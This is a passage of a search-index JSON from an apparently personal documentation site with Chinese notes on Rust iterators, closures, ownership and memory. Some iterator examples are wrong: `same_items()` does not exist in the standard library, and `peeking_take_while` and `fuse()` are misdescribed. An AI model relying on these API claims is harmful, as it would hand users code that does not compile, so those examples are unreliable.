Vec&lt;i32&gt; = (1..5).into_iter().scan(0, |acc, x| { *acc += x; Some(*acc) }).collect();</code> <code>take()</code> \u4ece\u8fed\u4ee3\u5668\u4e2d\u53d6\u51fa\u6700\u591a n \u4e2a\u5143\u7d20\u3002 <code>let first_five = (1..10).into_iter().take(5).collect::&lt;Vec&lt;_&gt;&gt;();</code> <code>skip()</code> \u8df3\u8fc7\u8fed\u4ee3\u5668\u4e2d\u7684\u524d n \u4e2a\u5143\u7d20\u3002 <code>let after_five = (1..10).into_iter().skip(5).collect::&lt;Vec&lt;_&gt;&gt;();</code> <code>zip()</code> \u5c06\u4e24\u4e2a\u8fed\u4ee3\u5668\u4e2d\u7684\u5143\u7d20\u6253\u5305\u6210\u5143\u7ec4\u3002 <code>let zipped = (1..3).zip(&amp;['a', 'b', 'c']).collect::&lt;Vec&lt;_&gt;&gt;();</code> <code>cycle()</code> \u91cd\u590d\u8fed\u4ee3\u5668\u4e2d\u7684\u5143\u7d20\uff0c\u76f4\u81f3\u505c\u6b62\u3002 <code>let repeated = (1..3).into_iter().cycle().take(7).collect::&lt;Vec&lt;_&gt;&gt;();</code> <code>chain()</code> \u8fde\u63a5\u591a\u4e2a\u8fed\u4ee3\u5668\u3002 <code>let combined = (1..3).chain(4..6).collect::&lt;Vec&lt;_&gt;&gt;();</code> <code>rev()</code> \u53cd\u8f6c\u8fed\u4ee3\u5668\u4e2d\u7684\u5143\u7d20\u987a\u5e8f\u3002 <code>let reversed = (1..4).into_iter().rev().collect::&lt;Vec&lt;_&gt;&gt;();</code> <code>enumerate()</code> \u4e3a\u8fed\u4ee3\u5668\u4e2d\u7684\u6bcf\u4e2a\u5143\u7d20\u6dfb\u52a0\u7d22\u5f15\u3002 <code>let enumerated = (1..4).into_iter().enumerate().collect::&lt;Vec&lt;_&gt;&gt;();</code> <code>peeking_take_while()</code> \u53d6\u51fa\u6ee1\u8db3\u6761\u4ef6\u7684\u5143\u7d20\uff0c\u540c\u65f6\u4fdd\u7559\u8fed\u4ee3\u5668\u7684\u72b6\u6001\uff0c\u53ef\u4ee5\u7ee7\u7eed\u53d6\u51fa\u540e\u7eed\u5143\u7d20\u3002 <code>let (first, rest) = (1..10).into_iter().peeking_take_while(|&amp;x| x &lt; 5);</code> <code>step_by()</code> \u6309\u7167\u6307\u5b9a\u7684\u6b65\u957f\u8fd4\u56de\u8fed\u4ee3\u5668\u4e2d\u7684\u5143\u7d20\u3002 <code>let even_numbers = (0..10).into_iter().step_by(2).collect::&lt;Vec&lt;_&gt;&gt;();</code> <code>fuse()</code> \u521b\u5efa\u4e00\u4e2a\u989d\u5916\u7684\u8fed\u4ee3\u5668\uff0c\u5b83\u5728\u8fed\u4ee3\u7ed3\u675f\u540e\u4ecd\u7136\u53ef\u4ee5\u8c03\u7528 <code>next()</code> \u65b9\u6cd5\u3002 <code>let mut iter = (1..5).into_iter().fuse(); while iter.next().is_some() {}</code> <code>inspect()</code> \u5728\u53d6\u51fa\u6bcf\u4e2a\u5143\u7d20\u65f6\u6267\u884c\u4e00\u4e2a\u95ed\u5305\uff0c\u4f46\u4e0d\u6539\u53d8\u5143\u7d20\u3002 <code>let mut counter = 0; (1..5).into_iter().inspect(|x| println!(\"Inspecting: {}\", x)).for_each(|x| println!(\"Processing: {}\", x));</code> <code>same_items()</code> \u6bd4\u8f83\u4e24\u4e2a\u8fed\u4ee3\u5668\u662f\u5426\u4ea7\u751f\u76f8\u540c\u7684\u5143\u7d20\u5e8f\u5217\u3002 <code>let equal = (1..5).into_iter().same_items((1..5).into_iter());</code>"},{"location":"NOTE/CS/RUST/RUST/#_21","title":"\u95ed\u5305","text":"<p>Rust \u4e2d\u7684\u95ed\u5305\u662f\u4e00\u79cd\u533f\u540d\u51fd\u6570\uff0c\u5b83\u4eec\u53ef\u4ee5\u6355\u83b7\u5e76\u5b58\u50a8\u5176\u73af\u5883\u4e2d\u7684\u53d8\u91cf\u3002</p> <p>\u95ed\u5305\u5141\u8bb8\u5728\u5176\u5b9a\u4e49\u7684\u4f5c\u7528\u57df\u4e4b\u5916\u8bbf\u95ee\u53d8\u91cf\uff0c\u5e76\u4e14\u53ef\u4ee5\u5728\u9700\u8981\u65f6\u5c06\u5176\u79fb\u52a8\u6216\u501f\u7528\u7ed9\u95ed\u5305\u3002</p> <p>\u95ed\u5305\u5728 Rust \u4e2d\u88ab\u5e7f\u6cdb\u5e94\u7528\u4e8e\u51fd\u6570\u5f0f\u7f16\u7a0b\u3001\u5e76\u53d1\u7f16\u7a0b\u548c\u4e8b\u4ef6\u9a71\u52a8\u7f16\u7a0b\u7b49\u9886\u57df\u3002</p> <p>\u95ed\u5305\u5728 Rust \u4e2d\u975e\u5e38\u6709\u7528\uff0c\u56e0\u4e3a\u5b83\u4eec\u63d0\u4f9b\u4e86\u4e00\u79cd\u7b80\u6d01\u7684\u65b9\u5f0f\u6765\u7f16\u5199\u548c\u4f7f\u7528\u51fd\u6570\u3002</p> <p>\u4ee5\u4e0b\u662f Rust \u95ed\u5305\u7684\u4e00\u4e9b\u5173\u952e\u7279\u6027\u548c\u7528\u6cd5\uff1a</p>"},{"location":"NOTE/CS/RUST/RUST/#_22","title":"\u95ed\u5305\u7684\u58f0\u660e","text":"<p>\u95ed\u5305\u7684\u8bed\u6cd5\u58f0\u660e <pre><code>|\u53c2\u6570\u00b7\u00b7\u00b7|&lt;\u8868\u8fbe\u5f0f&gt;\n</code></pre></p> <p>\u5176\u4e2d\u53c2\u6570\u53ef\u4ee5\u6709\u7c7b\u578b\u6ce8\u89e3,\u4e5f\u53ef\u4ee5\u7701\u7565,RUST\u7f16\u8bd1\u5668\u4f1a\u6839\u636e\u4e0a\u4e0b\u6587\u63a8\u65ad\u5b83\u4eec <pre><code>let add_one = |x:i32| x+1;\n</code></pre> \u95ed\u5305\u53ef\u4ee5\u67090\u4e2a\u6216\u8005\u591a\u4e2a\u53c2\u6570,\u5e76\u4e14\u53ef\u4ee5\u8fd4\u56de\u4e00\u4e2a\u503c,\u53ef\u4ee5\u50cf\u51fd\u6570\u4e00\u6837\u88ab\u8c03\u7528</p> <p><pre><code>let calculate = |a,b,c| a*c+b;\nlet result = calculate(1,2,3)\n</code></pre> \u95ed\u5305\u6709\u70b9\u50cfpython\u4e2d\u7684<code>lambda</code>\u8bed\u53e5\uff0c\u95ed\u5305\u5728 Rust \u4e2d\u7c7b\u4f3c\u4e8e\u533f\u540d\u51fd\u6570\uff0c\u53ef\u4ee5\u5728\u4ee3\u7801\u4e2d\u4ee5 {} \u8bed\u6cd5\u5757\u7684\u5f62\u5f0f\u5b9a\u4e49\uff0c\u4f7f\u7528 || \u7b26\u53f7\u6765\u8868\u793a\u53c2\u6570\u5217\u8868</p>"},{"location":"NOTE/CS/RUST/RUST/#_23","title":"\u6355\u83b7\u5916\u90e8\u53d8\u91cf","text":"<p>\u95ed\u5305\u53ef\u4ee5\u6355\u83b7\u5468\u56f4\u73af\u5883\u4e2d\u7684\u53d8\u91cf\uff0c\u8fd9\u610f\u5473\u7740\u5b83\u53ef\u4ee5\u8bbf\u95ee\u5b9a\u4e49\u95ed\u5305\u65f6\u6240\u5728\u4f5c\u7528\u57df\u4e2d\u7684\u53d8\u91cf\u3002</p> <p>Example</p> <pre><code>let x = 5;\nlet square = |num| num * x;\nprintln!(\"{}\", square(3)); // \u8f93\u51fa: 15\n</code></pre> <p>\u79fb\u52a8\u4e0e\u501f\u7528</p> <p>\u95ed\u5305\u53ef\u4ee5\u901a\u8fc7 <code>move</code> \u5173\u952e\u5b57\u83b7\u53d6\u5916\u90e8\u53d8\u91cf\u7684\u6240\u6709\u6743\uff0c\u6216\u8005\u901a\u8fc7\u501f\u7528\u7684\u65b9\u5f0f\u83b7\u53d6\u5916\u90e8\u53d8\u91cf\u7684\u5f15\u7528\u3002\u4f8b\u5982\uff1a <pre><code>let x = 10;\nlet add_x = |y| x + y;\nprintln!(\"{}\", add_x(5)); // \u8f93\u51fa 15\nprintln!(\"{}\", x); // \u4ecd\u7136\u53ef\u4ee5\u4f7f\u7528 x\n</code></pre> \u901a\u8fc7\u5728\u95ed\u5305\u524d\u6dfb\u52a0 <code>move</code> \u5173\u952e\u5b57\uff0c\u95ed\u5305\u4f1a\u83b7\u53d6\u5b83\u6355\u83b7\u7684\u73af\u5883\u53d8\u91cf\u7684\u6240\u6709\u6743\u3002\u8fd9\u610f\u5473\u7740\u8fd9\u4e9b\u53d8\u91cf\u7684\u6240\u6709\u6743\u4f1a\u4ece\u5916\u90e8\u4f5c\u7528\u57df\u8f6c\u79fb\u5230\u95ed\u5305\u5185\u90e8\uff0c\u5916\u90e8\u4f5c\u7528\u57df\u5c06\u65e0\u6cd5\u518d\u4f7f\u7528\u8fd9\u4e9b\u53d8\u91cf\u3002\u4f8b\u5982\uff1a <pre><code>let s = String::from(\"hello\");\nlet print_s = move || println!(\"{}\", s);\nprint_s(); // \u8f93\u51fa \"hello\"\n// println!(\"{}\", s); // \u8fd9\u884c\u4ee3\u7801\u5c06\u4f1a\u62a5\u9519\uff0c\u56e0\u4e3a s \u7684\u6240\u6709\u6743\u5df2\u7ecf\u88ab\u8f6c\u79fb\u7ed9\u4e86\u95ed\u5305\n</code></pre> <code>String::from(\"hello\")</code>: \u8fd9\u662f\u4e00\u4e2a\u8c03\u7528 <code>String</code> \u7c7b\u578b\u7684\u5173\u8054\u51fd\u6570 <code>from</code>\uff0c\u7528\u4e8e\u5c06\u4e00\u4e2a\u5b57\u9762\u91cf\u5b57\u7b26\u4e32<code>\uff08\"hello\"\uff09</code>\u8f6c\u6362\u4e3a\u4e00\u4e2a <code>String</code> \u7c7b\u578b\u3002</p> <p><code>String</code> \u7c7b\u578b:</p> <p>\u5728 Rust \u4e2d\uff0c\u5b57\u7b26\u4e32\u6709\u4e24\u79cd\u4e3b\u8981\u7684\u8868\u793a\u5f62\u5f0f\uff1a<code>&amp;str</code> \u548c <code>String</code>\u3002 <code>&amp;str</code> \u662f\u4e00\u79cd\u5207\u7247\uff0c\u901a\u5e38\u8868\u793a\u5728\u7f16\u8bd1\u65f6\u5df2\u77e5\u957f\u5ea6\u7684\u4e0d\u53ef\u53d8\u5b57\u7b26\u4e32\u3002 <code>String</code> \u662f\u4e00\u79cd\u5806\u5206\u914d\u7684\u53ef\u53d8\u5b57\u7b26\u4e32\uff0c\u9002\u7528\u4e8e\u5728\u8fd0\u884c\u65f6\u53ef\u80fd\u9700\u8981\u4fee\u6539\u6216\u6269\u5c55\u7684\u5b57\u7b26\u4e32\u3002</p> <p><code>String::from:</code></p> <p><code>String::from</code> \u662f <code>String</code> \u7c7b\u578b\u7684\u4e00\u4e2a\u5173\u8054\u51fd\u6570\uff0c\u5b83\u7528\u4e8e\u4ece <code>&amp;str</code> \u7c7b\u578b\u521b\u5efa\u4e00\u4e2a <code>String</code> \u7c7b\u578b\u7684\u503c\u3002 \u5728\u8fd9\u4e2a\u4f8b\u5b50\u4e2d\uff0c<code>String::from(\"hello\")</code>\u521b\u5efa\u4e86\u4e00\u4e2a\u65b0\u7684 <code>String</code>\uff0c\u5176\u4e2d\u5305\u542b\u4e86\u5b57\u7b26\u4e32 <code>\"hello\"</code> \u7684\u5185\u5bb9\u3002</p> <p>\u5206\u914d\u548c\u6240\u6709\u6743:</p> <p><code>String::from(\"hello\")</code> \u521b\u5efa\u7684 <code>String</code> \u5bf9\u8c61\u5728\u5806\u4e0a\u5206\u914d\u4e86\u5185\u5b58\uff0c\u5e76\u4e14\u62e5\u6709\u8be5\u5185\u5b58\u7684\u6240\u6709\u6743\u3002 \u53d8\u91cf <code>s</code> \u83b7\u5f97\u4e86\u8fd9\u4e2a <code>String</code> \u7684\u6240\u6709\u6743\uff0c\u8fd9\u610f\u5473\u7740\u5f53 s \u4f5c\u7528\u57df\u7ed3\u675f\u65f6\uff0cRust \u4f1a\u81ea\u52a8\u91ca\u653e <code>s</code> \u6240\u5360\u7528\u7684\u5185\u5b58\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_24","title":"\u8fed\u4ee3\u5668\u4e2d\u7684\u95ed\u5305","text":"<p>\u95ed\u5305\u5728rust\u4e2d\u7ecf\u5e38\u4e0e\u8fed\u4ee3\u5668\u4e00\u8d77\u4f7f\u7528\uff0c\u7528\u4e8e\u5bf9\u96c6\u5408\u4e2d\u7684\u5143\u7d20\u8fdb\u884c\u5904\u7406</p> <p>\u4f8b\u5982\u4e4b\u524d\u63d0\u8fc7\u7684<code>map</code>\u65b9\u6cd5</p> <pre><code>let vec = vec![1, 2, 3];\nlet squared_vec: Vec&lt;i32&gt; = vec.iter().map(|x| x * x).collect();\nprintln!(\"{:?}\", squared_vec); // \u8f93\u51fa: [1, 4, 9]\n</code></pre> <p>\u5728\u8fd9\u4e2a\u4f8b\u5b50\u4e2d\uff0c\u95ed\u5305<code>|x| x*x</code>\u88ab\u4f20\u9012\u7ed9<code>map()</code>\u5bf9\u96c6\u5408\u4e2d\u7684\u6bcf\u4e00\u4e2a\u5143\u7d20\u8fdb\u884c\u5e73\u65b9\u64cd\u4f5c</p> <p>\u95ed\u5305\u4f5c\u4e3a\u53c2\u6570\u548c\u8fd4\u56de\u503c</p> <p>\u95ed\u5305\u53ef\u4ee5\u4f5c\u4e3a\u53c2\u6570\u4f20\u9012\u7ed9\u51fd\u6570\uff0c\u4e5f\u53ef\u4ee5\u4f5c\u4e3a\u51fd\u6570\u7684\u8fd4\u56de\u503c\u3002</p> <pre><code>// \u5b9a\u4e49\u4e00\u4e2a\u51fd\u6570\uff0c\u63a5\u53d7\u4e00\u4e2a\u95ed\u5305\u4f5c\u4e3a\u53c2\u6570\uff0c\u5c06\u95ed\u5305\u5e94\u7528\u5230\u7ed9\u5b9a\u7684\u6570\u5b57\u4e0a\nfn apply_operation&lt;F&gt;(num: i32, operation: F) -&gt; i32\nwhere\n  F: Fn(i32) -&gt; i32,\n{\n  operation(num)\n}\n\n// \u4e3b\u51fd\u6570\nfn main() {\n  // \u5b9a\u4e49\u4e00\u4e2a\u6570\u5b57\n  let num = 5;\n\n  // \u5b9a\u4e49\u4e00\u4e2a\u95ed\u5305\uff0c\u7528\u4e8e\u5bf9\u6570\u5b57\u8fdb\u884c\u5e73\u65b9\u8fd0\u7b97\n  let square = |x| x * x;\n\n  // \u8c03\u7528\u51fd\u6570\uff0c\u5e76\u4f20\u5165\u95ed\u5305\u4f5c\u4e3a\u53c2\u6570\uff0c\u5bf9\u6570\u5b57\u8fdb\u884c\u5e73\u65b9\u8fd0\u7b97\n  let result = apply_operation(num, square);\n\n  // \u8f93\u51fa\u7ed3\u679c\n  println!(\"Square of {} is {}\", num, result);\n}\n</code></pre> <p>Info</p> <p><code>apply_operation</code> \u51fd\u6570</p> <p><code>fn apply_operation&lt;F&gt;(num: i32, operation: F) -&gt; i32</code>:</p> <p>\u8fd9\u662f\u4e00\u4e2a\u51fd\u6570\u5b9a\u4e49\u3002</p> <ul> <li><code>apply_operation</code> \u51fd\u6570\u63a5\u53d7\u4e24\u4e2a\u53c2\u6570\u5e76\u8fd4\u56de\u4e00\u4e2a <code>i32</code> \u7c7b\u578b\u7684\u503c\u3002</li> <li><code>num: i32</code>: \u7b2c\u4e00\u4e2a\u53c2\u6570 <code>num</code> \u662f\u4e00\u4e2a <code>i32</code> \u7c7b\u578b\u7684\u6574\u6570\u3002</li> <li><code>operation: F</code>: \u7b2c\u4e8c\u4e2a\u53c2\u6570 <code>operation</code> \u662f\u4e00\u4e2a\u6cdb\u578b <code>F</code>\uff0c\u5b83\u4ee3\u8868\u4e00\u4e2a\u95ed\u5305\uff08\u6216\u51fd\u6570\uff09\u3002</li> <li><code>-&gt; i32</code>: \u51fd\u6570\u8fd4\u56de\u4e00\u4e2a <code>i32</code> \u7c7b\u578b\u7684\u503c\u3002</li> </ul> <p><code>where F: Fn(i32) -&gt; i32</code>:</p> <p>\u8fd9\u662f\u4e00\u4e2a\u7ea6\u675f\uff0c\u89c4\u5b9a\u4e86\u6cdb\u578b <code>F</code>\u5fc5\u987b\u5b9e\u73b0 <code>Fn(i32) -&gt; i32</code> \u8fd9\u4e2a\u7279\u6027\u3002\u6362\u53e5\u8bdd\u8bf4\uff0c<code>F</code> \u5fc5\u987b\u662f\u4e00\u4e2a\u63a5\u53d7\u4e00\u4e2a <code>i32</code> \u53c2\u6570\u5e76\u8fd4\u56de\u4e00\u4e2a <code>i32</code> \u503c\u7684\u95ed\u5305\u6216\u51fd\u6570\u3002</p> <p><code>operation(num)</code>:</p> <p>\u8fd9\u884c\u4ee3\u7801\u8c03\u7528\u4e86\u4f20\u5165\u7684\u95ed\u5305 <code>operation</code>\uff0c\u5e76\u5c06 <code>num</code> \u4f5c\u4e3a\u53c2\u6570\u4f20\u9012\u7ed9\u5b83\u3002\u95ed\u5305\u7684\u6267\u884c\u7ed3\u679c\u5c06\u4f5c\u4e3a <code>apply_operation</code> \u51fd\u6570\u7684\u8fd4\u56de\u503c\u3002</p> <p><code>let result = apply_operation(num, square);</code>:</p> <p>\u8fd9\u884c\u4ee3\u7801\u8c03\u7528 <code>apply_operation</code> \u51fd\u6570\uff0c\u5c06 <code>num</code> \u548c <code>square</code> \u95ed\u5305\u4f5c\u4e3a\u53c2\u6570\u4f20\u5165\u3002 <code>apply_operation</code> \u51fd\u6570\u6267\u884c <code>square(num)</code>\uff0c\u5373\u8ba1\u7b97 5 \u7684\u5e73\u65b9\uff0c\u5e76\u5c06\u7ed3\u679c\u8fd4\u56de\u7ed9 <code>result</code> \u53d8\u91cf\u3002</p> <p>\u6700\u540e\u7a0b\u5e8f\u4f1a\u8f93\u51faSquare of 5 is 25</p>"},{"location":"NOTE/CS/RUST/RUST/#rust_1","title":"RUST\u6240\u6709\u6743","text":"<p>Abstract</p> <p>\u8ba1\u7b97\u673a\u7a0b\u5e8f\u5fc5\u987b\u5728\u8fd0\u884c\u65f6\u7ba1\u7406\u5b83\u4eec\u6240\u4f7f\u7528\u7684\u5185\u5b58\u8d44\u6e90\u3002</p> <p>\u5927\u591a\u6570\u7684\u7f16\u7a0b\u8bed\u8a00\u90fd\u6709\u7ba1\u7406\u5185\u5b58\u7684\u529f\u80fd\uff1a</p> <p>C/C++ \u8fd9\u6837\u7684\u8bed\u8a00\u4e3b\u8981\u901a\u8fc7\u624b\u52a8\u65b9\u5f0f\u7ba1\u7406\u5185\u5b58\uff0c\u5f00\u53d1\u8005\u9700\u8981\u624b\u52a8\u7684\u7533\u8bf7\u548c\u91ca\u653e\u5185\u5b58\u8d44\u6e90\u3002\u4f46\u4e3a\u4e86\u63d0\u9ad8\u5f00\u53d1\u6548\u7387\uff0c\u53ea\u8981\u4e0d\u5f71\u54cd\u7a0b\u5e8f\u529f\u80fd\u7684\u5b9e\u73b0\uff0c\u8bb8\u591a\u5f00\u53d1\u8005\u6ca1\u6709\u53ca\u65f6\u91ca\u653e\u5185\u5b58\u7684\u4e60\u60ef\u3002\u6240\u4ee5\u624b\u52a8\u7ba1\u7406\u5185\u5b58\u7684\u65b9\u5f0f\u5e38\u5e38\u9020\u6210\u8d44\u6e90\u6d6a\u8d39\u3002</p> <p>Java \u8bed\u8a00\u7f16\u5199\u7684\u7a0b\u5e8f\u5728\u865a\u62df\u673a\uff08JVM\uff09\u4e2d\u8fd0\u884c\uff0cJVM \u5177\u5907\u81ea\u52a8\u56de\u6536\u5185\u5b58\u8d44\u6e90\u7684\u529f\u80fd\u3002\u4f46\u8fd9\u79cd\u65b9\u5f0f\u5e38\u5e38\u4f1a\u964d\u4f4e\u8fd0\u884c\u65f6\u6548\u7387\uff0c\u6240\u4ee5 JVM \u4f1a\u5c3d\u53ef\u80fd\u5c11\u7684\u56de\u6536\u8d44\u6e90\uff0c\u8fd9\u6837\u4e5f\u4f1a\u4f7f\u7a0b\u5e8f\u5360\u7528\u8f83\u5927\u7684\u5185\u5b58\u8d44\u6e90\u3002</p> <p>\u6240\u6709\u6743\u5bf9\u5927\u591a\u6570\u5f00\u53d1\u8005\u800c\u8a00\u662f\u4e00\u4e2a\u65b0\u9896\u7684\u6982\u5ff5\uff0c\u5b83\u662f Rust \u8bed\u8a00\u4e3a\u9ad8\u6548\u4f7f\u7528\u5185\u5b58\u800c\u8bbe\u8ba1\u7684\u8bed\u6cd5\u673a\u5236\u3002\u6240\u6709\u6743\u6982\u5ff5\u662f\u4e3a\u4e86\u8ba9 Rust \u5728\u7f16\u8bd1\u9636\u6bb5\u66f4\u6709\u6548\u5730\u5206\u6790\u5185\u5b58\u8d44\u6e90\u7684\u6709\u7528\u6027\u4ee5\u5b9e\u73b0\u5185\u5b58\u7ba1\u7406\u800c\u8bde\u751f\u7684\u6982\u5ff5\u3002</p> <p>\u6240\u6709\u6743\u89c4\u5219</p> <ul> <li>Rust \u4e2d\u7684\u6bcf\u4e2a\u503c\u90fd\u6709\u4e00\u4e2a\u53d8\u91cf\uff0c\u79f0\u4e3a\u5176\u6240\u6709\u8005\u3002</li> <li>\u4e00\u6b21\u53ea\u80fd\u6709\u4e00\u4e2a\u6240\u6709\u8005\u3002</li> <li>\u5f53\u6240\u6709\u8005\u4e0d\u5728\u7a0b\u5e8f\u8fd0\u884c\u8303\u56f4\u65f6\uff0c\u8be5\u503c\u5c06\u88ab\u5220\u9664\u3002 </li> </ul> <p>\u53d8\u91cf\u8303\u56f4</p> <p>\u53d8\u91cf\u8303\u56f4\u662f\u53d8\u91cf\u7684\u4e00\u4e2a\u5c5e\u6027\uff0c\u5176\u4ee3\u8868\u53d8\u91cf\u7684\u53ef\u884c\u57df\uff0c\u9ed8\u8ba4\u4ece\u58f0\u660e\u53d8\u91cf\u5f00\u59cb\u6709\u6548\u76f4\u5230\u53d8\u91cf\u6240\u5728\u57df\u7ed3\u675f\u3002 <pre><code>{\n// \u5728\u58f0\u660e\u4ee5\u524d\uff0c\u53d8\u91cf s \u65e0\u6548\nlet s = \"runoob\";\n// \u8fd9\u91cc\u662f\u53d8\u91cf s \u7684\u53ef\u7528\u8303\u56f4\n}\n// \u53d8\u91cf\u8303\u56f4\u5df2\u7ecf\u7ed3\u675f\uff0c\u53d8\u91cf s \u65e0\u6548\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#_25","title":"\u5185\u5b58\u548c\u5206\u914d","text":"<p>\u5982\u679c\u6211\u4eec\u5b9a\u4e49\u4e86\u4e00\u4e2a\u53d8\u91cf\u5e76\u7ed9\u5b83\u8d4b\u4e88\u4e00\u4e2a\u503c\uff0c\u8fd9\u4e2a\u53d8\u91cf\u7684\u503c\u5b58\u5728\u4e8e\u5185\u5b58\u4e2d\u3002\u8fd9\u79cd\u60c5\u51b5\u5f88\u666e\u904d\u3002\u4f46\u5982\u679c\u6211\u4eec\u9700\u8981\u50a8\u5b58\u7684\u6570\u636e\u957f\u5ea6\u4e0d\u786e\u5b9a\uff08\u6bd4\u5982\u7528\u6237\u8f93\u5165\u7684\u4e00\u4e32\u5b57\u7b26\u4e32\uff09\uff0c\u6211\u4eec\u5c31\u65e0\u6cd5\u5728\u5b9a\u4e49\u65f6\u660e\u786e\u6570\u636e\u957f\u5ea6\uff0c\u4e5f\u5c31\u65e0\u6cd5\u5728\u7f16\u8bd1\u9636\u6bb5\u4ee4\u7a0b\u5e8f\u5206\u914d\u56fa\u5b9a\u957f\u5ea6\u7684\u5185\u5b58\u7a7a\u95f4\u4f9b\u6570\u636e\u50a8\u5b58\u4f7f\u7528\u3002\uff08\u6709\u4eba\u8bf4\u5206\u914d\u5c3d\u53ef\u80fd\u5927\u7684\u7a7a\u95f4\u53ef\u4ee5\u89e3\u51b3\u95ee\u9898\uff0c\u4f46\u8fd9\u4e2a\u65b9\u6cd5\u5f88\u4e0d\u6587\u660e\uff09\u3002\u8fd9\u5c31\u9700\u8981\u63d0\u4f9b\u4e00\u79cd\u5728\u7a0b\u5e8f\u8fd0\u884c\u65f6\u7a0b\u5e8f\u81ea\u5df1\u7533\u8bf7\u4f7f\u7528\u5185\u5b58\u7684\u673a\u5236\u2014\u2014\u2014\u2014\u5806\u3002</p> <p>\u6709\u5206\u914d\u5c31\u6709\u91ca\u653e\uff0c\u7a0b\u5e8f\u4e0d\u80fd\u4e00\u76f4\u5360\u7528\u67d0\u4e2a\u5185\u5b58\u8d44\u6e90\u3002\u56e0\u6b64\u51b3\u5b9a\u8d44\u6e90\u662f\u5426\u6d6a\u8d39\u7684\u5173\u952e\u56e0\u7d20\u5c31\u662f\u8d44\u6e90\u6709\u6ca1\u6709\u53ca\u65f6\u7684\u91ca\u653e\u3002</p> <p>\u4f8b\u5982\u5728C\u8bed\u8a00\u4e2d <pre><code>   char*s=\"abcd\"\n   free(s)\n</code></pre></p> <p>\u5f88\u663e\u7136\uff0cRust \u4e2d\u6ca1\u6709\u8c03\u7528 <code>free</code> \u51fd\u6570\u6765\u91ca\u653e\u5b57\u7b26\u4e32 <code>s</code> \u7684\u8d44\u6e90\uff08\u6211\u4eec\u77e5\u9053\u8fd9\u6837\u5728 C \u8bed\u8a00\u4e2d\u662f\u4e0d\u6b63\u786e\u7684\u5199\u6cd5\uff0c\u56e0\u4e3a <code>\"abcd\"</code> \u4e0d\u5728\u5806\u4e2d\uff0c\u8fd9\u91cc\u5047\u8bbe\u5b83\u5728\uff09\u3002Rust \u4e4b\u6240\u4ee5\u6ca1\u6709\u660e\u793a\u91ca\u653e\u7684\u6b65\u9aa4\u662f\u56e0\u4e3a\u5728\u53d8\u91cf\u8303\u56f4\u7ed3\u675f\u7684\u65f6\u5019\uff0cRust \u7f16\u8bd1\u5668\u81ea\u52a8\u6dfb\u52a0\u4e86\u8c03\u7528\u91ca\u653e\u8d44\u6e90\u51fd\u6570\u7684\u6b65\u9aa4\u3002</p> <p>\u8fd9\u79cd\u673a\u5236\u770b\u4f3c\u5f88\u7b80\u5355\u4e86\uff1a\u5b83\u4e0d\u8fc7\u662f\u5e2e\u52a9\u7a0b\u5e8f\u5458\u5728\u9002\u5f53\u7684\u5730\u65b9\u6dfb\u52a0\u4e86\u4e00\u4e2a\u91ca\u653e\u8d44\u6e90\u7684\u51fd\u6570\u8c03\u7528\u800c\u5df2\u3002\u4f46\u8fd9\u79cd\u7b80\u5355\u7684\u673a\u5236\u53ef\u4ee5\u6709\u6548\u5730\u89e3\u51b3\u4e00\u4e2a\u53f2\u4e0a\u6700\u4ee4\u7a0b\u5e8f\u5458\u5934\u75bc\u7684\u7f16\u7a0b\u95ee\u9898\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_26","title":"\u53d8\u91cf\u4e0e\u6570\u636e\u4ea4\u4e92\u7684\u65b9\u5f0f","text":"<p>\u53d8\u91cf\u4e0e\u6570\u636e\u4ea4\u4e92\u7684\u65b9\u5f0f\u6709\u4e24\u79cd:\u79fb\u52a8\uff08move\uff09\u548c\u514b\u9686\uff08clone\uff09\u4e24\u79cd</p> <p>\u79fb\u52a8\uff1a</p> <p>\u591a\u4e2a\u53d8\u91cf\u53ef\u4ee5\u5728rust\u4e2d\u4ee5\u4e0d\u540c\u7684\u65b9\u5f0f\u4e0e\u76f8\u540c\u7684\u6570\u636e\u4ea4\u4e92 <pre><code>let x = 5;\nlet y = x;\n</code></pre> \u8fd9\u4e2a\u7a0b\u5e8f\u5c06\u503c 5 \u7ed1\u5b9a\u5230\u53d8\u91cf x\uff0c\u7136\u540e\u5c06 x \u7684\u503c\u590d\u5236\u5e76\u8d4b\u503c\u7ed9\u53d8\u91cf y\u3002\u73b0\u5728\u6808\u4e2d\u5c06\u6709\u4e24\u4e2a\u503c 5\u3002\u6b64\u60c5\u51b5\u4e2d\u7684\u6570\u636e\u662f\"\u57fa\u672c\u6570\u636e\"\u7c7b\u578b\u7684\u6570\u636e\uff0c\u4e0d\u9700\u8981\u5b58\u50a8\u5230\u5806\u4e2d\uff0c\u4ec5\u5728\u6808\u4e2d\u7684\u6570\u636e\u7684\"\u79fb\u52a8\"\u65b9\u5f0f\u662f\u76f4\u63a5\u590d\u5236\uff0c\u8fd9\u4e0d\u4f1a\u82b1\u8d39\u66f4\u957f\u7684\u65f6\u95f4\u6216\u66f4\u591a\u7684\u5b58\u50a8\u7a7a\u95f4\u3002\"\u57fa\u672c\u6570\u636e\"\u7c7b\u578b\u6709\u8fd9\u4e9b\uff1a</p> <ul> <li>\u6240\u6709\u6574\u6570\u7c7b\u578b\uff0c\u4f8b\u5982 i32 \u3001 u32 \u3001 i64 \u7b49\u3002</li> <li>\u5e03\u5c14\u7c7b\u578b bool\uff0c\u503c\u4e3a true \u6216 false \u3002</li> <li>\u6240\u6709\u6d6e\u70b9\u7c7b\u578b\uff0cf32 \u548c f64\u3002</li> <li>\u5b57\u7b26\u7c7b\u578b char\u3002</li> <li>\u4ec5\u5305\u542b\u4ee5\u4e0a\u7c7b\u578b\u6570\u636e\u7684\u5143\u7ec4\uff08Tuples\uff09 </li> </ul> <p>\u4f46\u5982\u679c\u53d1\u751f\u4ea4\u4e92\u7684\u6570\u636e\u5728\u5806\u4e2d\u5c31\u662f\u53e6\u5916\u4e00\u79cd\u60c5\u51b5</p> <pre><code>let s1 = String::from(\"hello\");\nlet s2 = s1;\n</code></pre> <p>\u7b2c\u4e00\u6b65\u4ea7\u751f\u4e00\u4e2a String \u5bf9\u8c61\uff0c\u503c\u4e3a \"hello\"\u3002\u5176\u4e2d \"hello\" \u53ef\u4ee5\u8ba4\u4e3a\u662f\u7c7b\u4f3c\u4e8e\u957f\u5ea6\u4e0d\u786e\u5b9a\u7684\u6570\u636e\uff0c\u9700\u8981\u5728\u5806\u4e2d\u5b58\u50a8\u3002</p> <p>\u7b2c\u4e8c\u6b65\uff1a\u4e24\u4e2a String 